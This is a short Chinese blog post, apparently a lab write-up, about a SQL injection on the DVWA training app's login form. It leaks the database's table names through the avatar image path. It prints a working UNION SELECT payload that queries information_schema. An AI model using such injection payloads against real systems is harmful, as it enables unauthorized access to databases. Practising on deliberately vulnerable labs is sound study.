【无标题】一种奇怪的sql注入带出dvwa的表名

Dvwa中一种奇怪的sql注入带出dvwa库的表名,这是我老师想出来的,我只是将它发布到网上:

原来在我们登录到dvwa中会出现下面这张图片,这其实也是一种反馈,那么我们是不是可以通过这种反馈完成sql注入dvwa库的表名。

下面我们来试一试:

这边我们借助navicat工具:

当我们在输入密码时,数据库中其实有这样一条指令

我们将这条指令放到navicat中来查询一下这条指令的含义:

可以发现 avatar中是一段路径,这里面其实就是放着的图片位置


我们尝试一下改成这条指令,当我们输入SELECT * FROM `users` WHERE user = '' UNION SELECT 1, 2, 3, 4, 5, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='dvwa'), 6, 7指令的时候会发现,guestbook,users在第六列

在dvwa中输入' UNION SELECT 1, 2, 3, 4, 5, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='dvwa'), 6, 7#

发现登进去了,而且出来一个没加载出来的图片

检查这个页面,可以看到在受影响的资源中出现了guestbook,users

到这里为止,我们就成功找到了表名guestbook,users。

注意:这个只是我听课的时候老师讲的东西,不是我自己弄出来的,目前网上应该是没有这一类的东西,希望可以给一些大佬提供灵感。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值